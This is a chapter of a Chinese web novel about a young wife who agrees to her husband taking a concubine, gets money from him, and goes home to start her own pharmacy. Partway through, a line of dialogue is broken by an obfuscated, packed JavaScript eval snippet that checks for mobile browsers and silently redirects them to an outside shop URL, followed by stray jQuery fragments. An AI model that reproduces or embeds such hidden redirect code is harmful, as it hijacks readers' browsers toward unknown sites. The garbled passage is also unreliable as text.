“娘……”薛宛只好回去,安抚下殷大娘子。
沈氏见祈楚表情坚决,知道今日若提休了柒奺,恐怕会将场面做得难看。转念一想,薛宛进门做妾,又有何不好?这样既不会同自己的儿子闹得太僵,不违背了郎君临死前的吩咐,还能与司户家得个姻亲,岂不两全其美?
沈氏说:“放肆,这纳妾之事,司户娘子同意、我同意了便可,哪轮得到你做主?”
祈楚说:“可母亲,宛儿姑娘可是司户家的嫡女,怎能给我做妾?母亲不要异想天开了!”
薛宛却说道:“楚郎,我不在乎这些,只要能与你长相厮守就好……”
“薛宛……”祈楚不知道该怎么说,“你这又是何苦呢……”
他心中叫苦,忍不住转眼去看柒奺,可柒奺却将目光挪开,站在一旁似是看戏。薛宛见祈楚看柒奺,明白祈楚是碍于柒奺在这里,才不敢应承下来,便心一横,走过去跪在了柒奺面前:
“大娘子,求您同意吧……薛宛进门后,定会守好妾的本分,对大娘子敬着、奉着,绝不恃宠而骄……若大娘子心中有怨,您打我、罚我,薛宛绝不会反抗……”
柒奺着实被薛宛这一跪惊住了,心里顿时翻了十几个白眼。
这还没进门呢,就给老娘扣上善妒的帽子了?呵,老娘还真不稀罕打你呢!
“这……”柒奺为难地看向沈氏。
“奺娘,我知道你是个识礼的好孩子。”沈氏缓缓端起茶杯,啜了一口,“总归来说,你才是楚儿的娘子,这纳妾的事,你说了便算。”
“娘子……”
祈楚神色复杂地看着柒奺。
柒奺没想到,她一个看热闹的,还要被推出来做这种决定。此时好几双眼睛都盯着她看,她要说不收,就是坐实了善妒的名声——她还能说什么?
柒奺缓缓弯下腰,将薛宛从地上扶起来,笑眯眯地说道:
“宛儿姑娘愿意进门,与我一同服侍主君,我高兴还来不及呢。快快起来吧,将来咱们就是姐妹,可不要说那要打要罚的话了。我与郎君,定会好好待你的,郎君你说呢?”
“柒奺,你!……”
“好了,大娘子都同意了,楚儿你就不要多说了。”沈氏站起来,对殷大娘子说道,“那就这么说定了,等丧期结束,我们就立马迎宛儿入门。司户娘子放心,我们祈家,定不会亏待宛儿的。”
殷大娘子心中叹息,也只好点了点头。
柒奺请辞离开,祈楚想追过去,薛宛却拖着他,要他留下来陪自己说说话。
没办法,祈楚只得留下来,在沈氏和殷大娘子眼皮子底下,心不在焉地同薛宛聊了些旧事。临近傍晚,殷大娘子总算起身告辞,薛宛又要同祈楚分离,一步三回头,眼眶都湿润了。
还要再等一年……想起柒奺却可以天天与祈楚见面,薛宛心里嫉妒得发酸。
送司户娘子离开后,祈楚心里忍着气,一路冲进离鸾阁,见柒奺竟然津津有味地吃着晚饭。
祈楚气得更惨了,指着她骂道:“柒奺,你为什么要同意!”
柒奺不紧不慢地吃完一口饭,啪地扔下筷子,说道:
“郎君这话问得好生奇怪,你怎么不问问,宛儿姑娘为什么宁可做妾,也要嫁进祈家?本是郎君欠下的风流债,却要来质问我,这又是何道理?”
“我……”祈楚顿时语无伦次,“我和她没什么!你、你可千万不要胡说八道!”
柒奺冷笑一声:“这有什么所谓?总之司户家同意,婆母同意,连你说话都不算数,我又能说什么?难不成你要我当面拒绝司户娘子,得个善妒的名声,这样你们祈家就有理由休了我吗?”
瓶儿也忍不住说道:“主君,那样的场合,大娘子不收也得收啊……主君不要怪大娘子了……”
“就是。”柒奺拿起筷子继续吃饭,“郎君还是想想你自个儿吧。”
“我……”
祈楚脸上憋得通红,知道是自己欠下的孽债,只好闭了嘴,在柒奺面前重重坐下:
“……我要吃饭!”
柒奺和瓶儿,被他这话锋一转杀住了。
祈楚抬起下巴,抖着腿说道:“怎么,我纳了妾,大娘子竟然饭也不给我吃了?啧啧,装的这么风轻云淡的,其实心里气得发狂了吧?呵呵……没关系,为夫我将来定多来大娘子这安置,绝不冷落了你。”
“呵……那我还真要谢谢你了。”
柒奺摇起绢扇,朝院子猛翻了个白眼。
其实她巴不得薛宛早点进门,最好缠着祈楚不放,这样她就能放手去做自己的事了。知道祈楚是擦粉上吊死要面子,柒奺心中突然有了主意,叹了口气说道:
“唉……与人共事一夫,你以为我愿意吗?郎君说得对,你算是得了个佳人暖床,我可就要青灯冷烛,独守空房了……唉,还不知道得多惨呢。”
柒奺这番话,倒说得祈楚不知所措起来。
她难道……真的吃醋了?
“你……你这是真心话?”
“不然呢?”柒奺唉声叹气地说道,“郎君若是真疼妾身,不如……补偿补偿我吧?”
“补补补……补偿?”祈楚登时一站而起,额头红到了耳后根,用力吞了口唾沫,“怎怎怎……怎么个补偿法?”
柒奺说:“郎君若要补偿,不如借我个百八两银子花花。”
“……银子?”
祈楚一愣。
“不然呢,郎君以为是什么?”
祈楚噎住了,坐下来猛扇了几把折扇:“你要这么多银子做什么?”
“郎君是嫌多了?那四五十两也是使得的。”
“百八十两倒不算多……”祈楚嘟哝着,“可你拿这么多银子,究竟要做什么啊?屋里是有什么东西要添置吗?”
“唉……还是算了吧。”柒奺站起身来,朝屋内走去,“郎君你家大业大,百八十两不过是九牛一毛,我就是借你点银子,还一定要问个用处来。算了吧……我这大娘子,不过是个挂名的摆设,也就不叫郎君为难了。”
平南山赶紧朝祈楚使了个眼色,祈楚跟进卧房内,拦下了柒奺:“我不过随便问问……要多少银子,你去账房支了就是,以后也用不着问我。”
柒奺终于挂起灿烂的笑容,欠了欠身说道:“多谢郎君。”
祈楚这还是第一次进柒奺的卧房,屋内似乎弥漫着一股淡淡的香味,像是柒奺身上的味道。他细细打量了一圈——床上水红色的被褥,衣架上柒奺的衣裙,窗下的贵妃椅和梳妆台上的香粉铜镜……
柒奺说:“郎君你瞧什么呢,是在找什么东西吗?”
“咳……没有。”祈楚假装随意地说,“对了,我送你的香囊呢,怎么没瞧见。”
柒奺一指:“哦,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601209|203563||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在那抽屉里呢。”
祈楚一看那锁住的抽屉,顿时酸气又冒了上来,转头冲出门去。
瓶儿追出去问:“主君,晚饭不吃了吗?”
祈楚头也不回地说:
“吃什么吃,气都气饱了!”
.
柒奺从账上支了一百两银子,又对沈氏说家中来信,说鸭子村的爷爷身体抱恙,她必须亲自去看看。
柒奺收了薛宛,沈氏对她的态度也缓和了些,摆摆手道:“去吧,多买些东西送去,顺便替我问候柒老太公。”
柒奺迟疑了片刻,又试探地说道:“婆母……爷爷只有儿媳一个亲人了,儿媳恐爷爷卧病在床无人侍奉,所以想请婆母恩准我,在家中多待几日。来信的人说,爷爷卧病多日,气喘咳嗽,奄奄一息,怕是命也要没了……我实在、实在不忍心……”
柒奺抽泣地说着,拿起手绢拭了拭泪。
沈氏想了想,叹了口气说:“你父母皆早逝,柒老太公也无人床前床后地服侍,的确是可怜……罢了,你去吧,等柒老太公身体好转了,就立马回来。”
“儿媳明白,多谢婆母体谅!”
柒奺兴高采烈地走了。
祈楚今日刚好要去千金庄查看,柒奺直等他走了,才带着瓶儿后脚离开了祈府。其实,柒奺并没有收到爷爷的来信,她此番带着一百两银子溜出来,是有别的打算。可是为了避人耳目,她还是要先回鸭子村一趟。
柒奺到家的时候,“卧病多日、气喘咳嗽、奄奄一息”的柒老太公正在田里叼着麦秸拔草,拔到兴起处,还哼起了小曲儿。
“爷爷!爷爷我回来了!”
听到柒奺的声音,柒老太公有点不敢相信,抬头望去,烈日下果然是自己的宝贝孙女,正沿着崎岖不平的田埂朝他跑来。
“哎哟喂我的神仙乖乖,怎么有空来瞧爷爷啦?”
柒老太公拉住柒奺,将她前前后后抡着圈儿看了好几遍:“我的奺娘变化真大,好像身体强健了不少,不错不错!对了,今天怎么突然回来了?”
柒奺挽着爷爷的胳膊说:“您快给我炒点豆子吃,待会儿我再告诉您!”
破瓦房内,一盆豆子炒好了,柒奺的话也说完了。
柒老太公有些不可思议:“你说……你要自己开药铺?”
柒奺点点头说:“爷爷,孙女早就跟您说过了,一定要让爷爷搬出这里,住气派的大房子。孙女虽然嫁入祈家,可祈家的钱毕竟是祈家的,孙女若要立稳足跟,还是需要自己有些银钱傍身才行。”
柒奺想好了,借祈家一百两起家,若能挣得回来,便连本带利还给祈楚。
她有了傍身之物,也就可以多一条退路可走了。
柒老太公皱着眉头问道:“莫不成……你在祈家出了什么事?难道是你婆母和夫君为难你了?”
“不是。”柒奺笑道,“爷爷您也知道,我一直想要自己做做生意,我只是想试试,自己是否真的能行。”
“可你一个女孩子家家的,怎么能出面开铺子呢?”
柒奺将她的想法,告诉了柒老太公。她握着爷爷瘦骨嶙峋的手说:“爷爷,总之我已经想好了,此番我非做不可,希望爷爷能支持我。”
柒老太公缓缓点了点头,笑道:“我不支持你谁支持你?奺娘,你只管放手去做吧,需要爷爷帮什么忙,你尽管告诉我。”